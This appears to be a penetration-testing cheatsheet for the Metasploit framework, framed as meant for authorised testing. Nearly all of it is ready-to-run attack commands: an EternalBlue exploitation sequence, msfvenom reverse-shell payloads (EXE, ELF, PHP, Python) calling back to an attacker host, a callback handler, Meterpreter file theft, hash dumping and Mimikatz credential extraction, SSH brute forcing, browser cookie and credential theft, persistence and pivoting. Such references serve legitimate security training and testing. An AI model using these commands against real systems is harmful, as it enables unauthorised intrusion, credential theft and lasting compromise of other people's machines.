Metasploit Cheatsheet: Point, Click, Compromise (Responsibly)

Category: Cheat Sheets

Tags: metasploit, exploitation, penetration-testing, post-exploitation, msfconsole

Metasploit is the framework that turned exploitation from "compile this C code and pray" into a structured, repeatable process. It's used by penetration testers worldwide and occasionally by people who watched one too many hacking montages on YouTube. This cheatsheet covers the legitimate, authorised-testing use cases.

Obligatory reminder: Only use Metasploit against systems you own or have written authorisation to test. This isn't just legal advice -- it's career preservation.

Getting Started

# Start the Metasploit console
msfconsole

# Update the framework
msfupdate

# Initialise the database (required for workspace tracking)
msfdb init

# Check database connectivity
db_status

Core Workflow

Every Metasploit engagement follows the same loop: find a vulnerability, configure an exploit, set a payload, fire.

msf6 > search type:exploit platform:windows smb
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.5
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.10.99
msf6 exploit(ms17_010_eternalblue) > exploit

Search Like You Mean It

The search function is more powerful than most people realise.

search type:exploit name:apache
search type:auxiliary platform:linux
search cve:2021-44228              # Log4Shell
search type:exploit rank:excellent
search type:post platform:windows

Module types:

Payloads

The payload is what actually runs on the target after exploitation succeeds.

Staged vs Stageless

Note the subtle naming difference: / between meterpreter and reverse_tcp means staged. _ means stageless.

Common Payloads

# Meterpreter (full-featured shell)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set PAYLOAD linux/x64/meterpreter/reverse_tcp

# Simple command shell
set PAYLOAD windows/x64/shell_reverse_tcp
set PAYLOAD linux/x64/shell_reverse_tcp

# Web payloads
set PAYLOAD php/meterpreter/reverse_tcp
set PAYLOAD java/meterpreter/reverse_tcp

Generating Standalone Payloads with msfvenom

# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.99 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.99 LPORT=4444 -f elf -o shell.elf

# PHP web shell
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=10.10.10.99 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=10.10.10.99 LPORT=4444 -f raw -o shell.py

# List all output formats
msfvenom --list formats

# List all payloads
msfvenom --list payloads

Meterpreter Commands

Once you've got a Meterpreter session, the real work begins. Meterpreter is an in-memory payload -- it doesn't write to disk by default, which makes it considerably harder to detect than dropping a binary.

Core Commands

meterpreter > sysinfo                    # System info
meterpreter > getuid                     # Current user
meterpreter > getpid                     # Current process ID
meterpreter > ps                         # List processes
meterpreter > shell                      # Drop to system shell
meterpreter > background                 # Background session
meterpreter > exit                       # Kill session

File System

meterpreter > pwd                        # Print working directory
meterpreter > ls                         # List files
meterpreter > cd C:\\Users               # Change directory
meterpreter > cat C:\\flag.txt           # Read file
meterpreter > download C:\\secrets.db    # Download file
meterpreter > upload /tmp/tool.exe C:\\  # Upload file
meterpreter > search -f *.pdf            # Search for files
meterpreter > edit C:\\notes.txt         # Edit file

Networking

meterpreter > ipconfig                   # Network interfaces
meterpreter > arp                        # ARP table
meterpreter > netstat                    # Active connections
meterpreter > route                      # Routing table
meterpreter > portfwd add -l 8080 \
  -p 80 -r 10.10.10.20                  # Port forward

Privilege Escalation

meterpreter > getsystem                  # Attempt SYSTEM escalation
meterpreter > getprivs                   # List current privileges
meterpreter > migrate 1234              # Migrate to another process

Credential Harvesting

meterpreter > hashdump                   # Dump SAM hashes
meterpreter > load kiwi                  # Load Mimikatz extension
meterpreter > creds_all                  # Dump all credentials
meterpreter > kiwi_cmd sekurlsa::logonpasswords

Session Management

msf6 > sessions                          # List active sessions
msf6 > sessions -i 1                     # Interact with session 1
msf6 > sessions -k 1                     # Kill session 1
msf6 > sessions -K                       # Kill all sessions
msf6 > sessions -u 1                     # Upgrade shell to Meterpreter

Handlers (Catching Callbacks)

When using standalone payloads (msfvenom), you need a handler listening for the connection back.

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.99
msf6 > set LPORT 4444
msf6 > set ExitOnSession false           # Keep listening after first session
msf6 > exploit -j                        # Run as background job

Useful Auxiliary Modules

Not everything is about exploitation. Auxiliary modules handle scanning, enumeration, and information gathering.

# Port scanning
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 22,80,443,445,3389
run

# SMB version detection
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
run

# HTTP directory scanning
use auxiliary/scanner/http/dir_scanner
set RHOSTS 10.10.10.5
run

# FTP anonymous login check
use auxiliary/scanner/ftp/anonymous
set RHOSTS 10.10.10.0/24
run

# SSH brute force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.5
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/passwords.txt
run

Post-Exploitation Modules

Once inside, these modules help with enumeration, persistence, and lateral movement.

# Windows enumeration
use post/windows/gather/enum_logged_on_users
use post/windows/gather/enum_shares
use post/windows/gather/enum_applications
use post/windows/gather/checkvm

# Credential harvesting
use post/windows/gather/hashdump
use post/windows/gather/credentials/credential_collector
use post/multi/gather/firefox_creds
use post/multi/gather/chrome_cookies

# Persistence (for reporting purposes -- always clean up)
use exploit/windows/local/persistence_service
use post/windows/manage/enable_rdp

# Pivoting
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.10.20.0
run

Database & Workspaces

Metasploit's database tracks hosts, services, vulnerabilities, and credentials across an engagement. Use it.

# Workspace management
workspace                    # List workspaces
workspace -a client_name     # Create workspace
workspace client_name        # Switch workspace
workspace -d old_workspace   # Delete workspace

# Import scan data
db_import /path/to/nmap_scan.xml

# Query the database
hosts                        # List known hosts
services                     # List discovered services
vulns                        # List vulnerabilities
creds                        # List captured credentials
loot                         # List collected loot

# Export
db_export -f xml -a /path/to/export.xml

Quick Reference

What's Next

• Nmap Cheatsheet -- find targets before you exploit them
• Offensive Security 103: Password Attacks -- when you need credentials, not exploits
• Pivoting Cheatsheet -- move through the network once you're in